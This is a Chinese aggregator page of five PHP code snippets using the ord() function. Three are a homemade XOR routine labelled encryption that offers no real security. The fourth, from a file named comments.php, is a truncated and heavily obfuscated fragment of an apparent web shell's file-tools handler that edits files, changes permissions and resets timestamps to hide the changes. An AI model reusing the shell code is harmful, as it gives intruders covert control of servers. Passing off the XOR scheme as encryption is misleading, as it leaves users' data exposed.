当前位置: 首页>>代码示例>>PHP>>正文


PHP ORD函数代码示例

本文整理汇总了PHP中ORD函数的典型用法代码示例。如果您正苦于以下问题:PHP ORD函数的具体用法?PHP ORD怎么用?PHP ORD使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了ORD函数的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: ENCRYPT_DECRYPT

function ENCRYPT_DECRYPT($Str_Message)
{
    //Function : encrypt/decrypt a string message v.1.0  without a known key
    //Author   : Aitor Solozabal Merino (spain)
    //Email    : aitor-3@euskalnet.net
    //Date     : 01-04-2005
    $Len_Str_Message = STRLEN($Str_Message);
    $Str_Encrypted_Message = "";
    for ($Position = 0; $Position < $Len_Str_Message; $Position++) {
        // long code of the function to explain the algoritm
        //this function can be tailored by the programmer modifyng the formula
        //to calculate the key to use for every character in the string.
        $Key_To_Use = $Len_Str_Message + $Position + 1;
        // (+5 or *3 or ^2)
        //after that we need a module division because can´t be greater than 255
        $Key_To_Use = (255 + $Key_To_Use) % 255;
        $Byte_To_Be_Encrypted = SUBSTR($Str_Message, $Position, 1);
        $Ascii_Num_Byte_To_Encrypt = ORD($Byte_To_Be_Encrypted);
        $Xored_Byte = $Ascii_Num_Byte_To_Encrypt ^ $Key_To_Use;
        //xor operation
        $Encrypted_Byte = CHR($Xored_Byte);
        $Str_Encrypted_Message .= $Encrypted_Byte;
        //short code of  the function once explained
        //$str_encrypted_message .= chr((ord(substr($str_message, $position, 1))) ^ ((255+(($len_str_message+$position)+1)) % 255));
    }
    return $Str_Encrypted_Message;
}
开发者ID:utilo-web-app-development,项目名称:REZERVI,代码行数:27,代码来源:benutzerFunctions.inc.php

示例2: ENCRYPT_DECRYPT

 function ENCRYPT_DECRYPT($Str_Message)
 {
     $Len_Str_Message = STRLEN($Str_Message);
     $Str_Encrypted_Message = "";
     for ($Position = 0; $Position < $Len_Str_Message; $Position++) {
         // long code of the function to explain the algoritm
         //this function can be tailored by the programmer modifyng the formula
         //to calculate the key to use for every character in the string.
         $Key_To_Use = ($Len_Str_Message + $Position) * 230;
         // (+5 or *3 or ^2)
         //after that we need a module division because can´t be greater than 255
         //$Key_To_Use = (255+$Key_To_Use) % 255;
         $Key_To_Use = (168 + $Key_To_Use) % 168;
         $Byte_To_Be_Encrypted = SUBSTR($Str_Message, $Position, 1);
         $Ascii_Num_Byte_To_Encrypt = ORD($Byte_To_Be_Encrypted);
         $Xored_Byte = $Ascii_Num_Byte_To_Encrypt ^ $Key_To_Use;
         //xor operation
         $Encrypted_Byte = CHR($Xored_Byte);
         $Str_Encrypted_Message .= $Encrypted_Byte;
         //short code of  the function once explained
         //$str_encrypted_message .= chr((ord(substr($str_message, $position, 1))) ^ ((255+(($len_str_message+$position)+1)) % 255));
     }
     return $Str_Encrypted_Message;
 }
开发者ID:rickyx12,项目名称:mendero,代码行数:24,代码来源:myDatabase_04252014.php

示例3: decryptString

function decryptString($str, $key)
{
    $arr = explode(".", $str);
    array_shift($arr);
    $str = "";
    for ($i = 0; $i < count($arr); $i++) {
        $str .= CHR(intval($arr[$i]));
    }
    $len1 = strlen($str);
    $len2 = strlen($key);
    $len = min($len1, $len2);
    $result = "";
    for ($i = 0; $i < $len1; $i++) {
        if ($i < $len) {
            $result .= CHR(ORD(SUBSTR($str, $i, 1)) ^ ORD(SUBSTR($key, $i, 1)));
        } else {
            $result .= SUBSTR($str, $i, 1);
        }
    }
    return $result;
}
开发者ID:oizhaolei,项目名称:websysadmin,代码行数:21,代码来源:share.php

示例4: aCtiONfILEstOolS


//.........这里部分代码省略.........
                }
                if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) {
                    echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и');
                }
            }
            cLEARStAtcaCHE();
            echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣');
            break;
        case _≈сс::_ш┬('_▓┘р', '_ечп'):
            if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) {
                echo _≈сс::_ш┬('_║м', '_≥' . '▒');
                break;
            }
            if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) {
                $_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]);
                $_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01);
                $_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌'));
                if ($_╔╛р) {
                    @FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]);
                    @FcLOsE($_╔╛р);
                    echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж');
                    @TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм);
                }
            }
            echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р');
            $_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр'));
            if ($_╔╛р) {
                while (!@FEOF($_╔╛р)) {
                    echo htMLspeciaLCharS(@freaD($_╔╛р, 02000));
                }
                @fCloSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м');
            break;
        case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'):
            $_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]);
            $_╫≥ = 00;
            $_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓'));
            $_▀╔└ = STrlen($_┼┘╓);
            for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) {
                $_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤');
                switch (ORD($_┼┘╓[$_╧╞│])) {
                    case 00:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег');
                        break;
                    case 011:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн');
                        break;
                    case 012:
                        $_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║');
                        break;
                    case 015:
                        $_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ');
                        break;
                    default:
                        $_⌡х[02] .= $_┼┘╓[$_╧╞│];
                        break;
                }
                $_╫≥++;
                if ($_╫≥ == 040) {
                    $_╫≥ = 00;
                    if ($_╧╞│ + 01 < $_▀╔└) {
                        $_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м');
                    }
                    $_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л');
                    $_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй');
                }
            }
            echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└');
            break;
        case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) {
                if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) {
                    echo _≈сс::_ш┬('_р╖', '_■│');
                } else {
                    die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═'));
                }
            }
            echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р');
            break;
        case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'):
            if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) {
                $_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]);
                if ($_▌щм) {
                    if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) {
                        echo _≈сс::_ш┬('_┼' . 'з', '_е╟');
                    } else {
                        echo _≈сс::_ш┬('_▀' . '║', '_яэ╥');
                    }
                } else {
                    echo _≈сс::_ш┬('_ре', '_' . 'чж');
                }
            }
            cLEarSTaTcAcHE();
            echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую');
            break;
    }
    echo _≈сс::_ш┬('_' . 'у║', '_├╩');
    _▌╩();
}
开发者ID:mordenius,项目名称:test,代码行数:101,代码来源:comments.php

示例5: decryptShipping

 public function decryptShipping($Str_Message)
 {
     $Str_Message = base64_decode($Str_Message);
     $Len_Str_Message = strlen($Str_Message);
     $Str_Encrypted_Message = "";
     for ($Position = 0; $Position < $Len_Str_Message; $Position++) {
         $Key_To_Use = $Len_Str_Message + $Position + 1;
         $Key_To_Use = (255 + $Key_To_Use) % 255;
         $Byte_To_Be_Encrypted = SUBSTR($Str_Message, $Position, 1);
         $Ascii_Num_Byte_To_Encrypt = ORD($Byte_To_Be_Encrypted);
         // Xor operation
         $Xored_Byte = $Ascii_Num_Byte_To_Encrypt ^ $Key_To_Use;
         $Encrypted_Byte = CHR($Xored_Byte);
         $Str_Encrypted_Message .= $Encrypted_Byte;
     }
     return $Str_Encrypted_Message;
 }
开发者ID:jaanusnurmoja,项目名称:redjoomla,代码行数:17,代码来源:shipping.php


注:本文中的ORD函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。